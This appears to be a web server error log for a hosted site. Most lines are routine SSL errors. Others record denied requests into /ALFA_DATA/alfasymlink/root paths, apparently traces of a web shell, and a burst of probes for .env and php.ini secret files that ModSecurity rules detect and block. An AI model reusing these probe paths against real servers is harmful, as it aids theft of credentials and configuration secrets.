[Sat Oct 24 19:11:42.321897 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.204.150.196:45490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:11:46.138902 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.94.156.104:37099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:11:54.152130 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.203.152.231:7185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:06.236742 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.54.95.127:30921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:14.252108 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.205.113.104:56105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/remove
[Sat Oct 24 19:12:18.175110 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.224.132.215:35229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:22.152066 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.224.205.25:2945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:26.224610 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.175.228:45408] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:34.274620 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.209.137.234:44118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:38.157985 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.70.138.176:64029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:12:42.145177 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.215.24.66:22519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:06.309829 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.231.45.47:30315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:10.155026 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.6.97.88:28174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:18.138237 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.22.64.232:9734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:30.279398 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.232.82.72:14368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:54.216311 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.192.125.239:11246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:13:58.479862 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.195.248.30:63092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:14:01.204440 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 144.76.19.24:39090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4/auxv
[Sat Oct 24 19:14:02.194242 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.172.96:38605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:14:10.189838 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.29.164.178:26542] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:14:10.507081 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 185.191.171.2:65336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:14:26.153031 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.77.232:35103] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:14:28.110499 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.6:16210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/partial
[Sat Oct 24 19:14:28.111100 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.6:16210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/partial"] [unique_id "at071PavbqLdB7btCU-8jQAAABc"]
[Sat Oct 24 19:14:28.111160 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.6:16210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/partial"] [unique_id "at071PavbqLdB7btCU-8jQAAABc"]
[Sat Oct 24 19:14:42.220475 2026] [security2:error] [pid 2693020:tid 2693020] [client 43.134.56.214:56038] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at074jKiZtbKEGWJKoLUWgAAACE"]
[Sat Oct 24 19:14:42.482034 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 54.225.199.17:43421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/intel_rapl_msr/uevent
[Sat Oct 24 19:14:50.136190 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.197.102.71:42938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:02.276435 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.206.47.187:17016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:10.231210 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.205.141.124:26777] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:18.285320 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.235.191.179:36929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:22.143678 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.205.163.103:26184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:27.296570 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.10:46262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/objects_partial
[Sat Oct 24 19:15:34.171474 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.172.125.172:6900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:38.470930 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.156.124.2:40235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:42.451977 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.89.176.255:37622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:46.194892 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 50.16.216.166:61118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:15:54.153666 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.216.86.144:26937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:01.1/ata1/host0/subsystem/uevent
[Sat Oct 24 19:15:59.093949 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.211:38748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/validate
[Sat Oct 24 19:16:10.767727 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 3.223.181.32:55860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:14.155440 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.206.93.215:40651] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:18.279982 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.194.233.48:23190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:22.241428 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.194.95.99:12188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:26.270134 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.148.226:39862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:30.143131 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.169.119.108:59281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:36.629798 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:37.179305 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:37.775681 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:38.009855 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:38.150814 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.39.241:7387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:38.455068 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:38.688286 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:38.749878 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.206:62792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/objs_per_slab
[Sat Oct 24 19:16:40.018971 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:40.203232 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.196:56936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/red_zone
[Sat Oct 24 19:16:40.644990 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:41.378866 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:41.612415 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 19:16:43.932824 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:44.164737 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:44.396230 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:44.627912 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:44.859298 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:45.323272 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:45.556334 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 19:16:46.018450 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at08Xj8oejtZfsaip1YnfwAAABE"]
[Sat Oct 24 19:16:46.018675 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at08Xj8oejtZfsaip1YnfwAAABE"]
[Sat Oct 24 19:16:46.019014 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at08Xj8oejtZfsaip1YnfwAAABE"]
[Sat Oct 24 19:16:46.721612 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at08Xj8oejtZfsaip1YnggAAABE"]
[Sat Oct 24 19:16:46.721913 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at08Xj8oejtZfsaip1YnggAAABE"]
[Sat Oct 24 19:16:46.722250 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at08Xj8oejtZfsaip1YnggAAABE"]
[Sat Oct 24 19:16:46.952716 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at08Xj8oejtZfsaip1YngwAAABE"]
[Sat Oct 24 19:16:46.952988 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at08Xj8oejtZfsaip1YngwAAABE"]
[Sat Oct 24 19:16:46.953310 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at08Xj8oejtZfsaip1YngwAAABE"]
[Sat Oct 24 19:16:47.183910 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at08Xz8oejtZfsaip1YnhAAAABE"]
[Sat Oct 24 19:16:47.184154 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at08Xz8oejtZfsaip1YnhAAAABE"]
[Sat Oct 24 19:16:47.184483 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at08Xz8oejtZfsaip1YnhAAAABE"]
[Sat Oct 24 19:16:47.435187 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at08Xz8oejtZfsaip1YnhQAAABE"]
[Sat Oct 24 19:16:47.435458 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at08Xz8oejtZfsaip1YnhQAAABE"]
[Sat Oct 24 19:16:47.435749 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at08Xz8oejtZfsaip1YnhQAAABE"]
[Sat Oct 24 19:16:48.491524 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at08YD8oejtZfsaip1YnhwAAABE"]
[Sat Oct 24 19:16:48.491786 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at08YD8oejtZfsaip1YnhwAAABE"]
[Sat Oct 24 19:16:48.492062 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at08YD8oejtZfsaip1YnhwAAABE"]
[Sat Oct 24 19:16:48.724182 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at08YD8oejtZfsaip1YniAAAABE"]
[Sat Oct 24 19:16:48.724431 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at08YD8oejtZfsaip1YniAAAABE"]
[Sat Oct 24 19:16:48.724703 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at08YD8oejtZfsaip1YniAAAABE"]
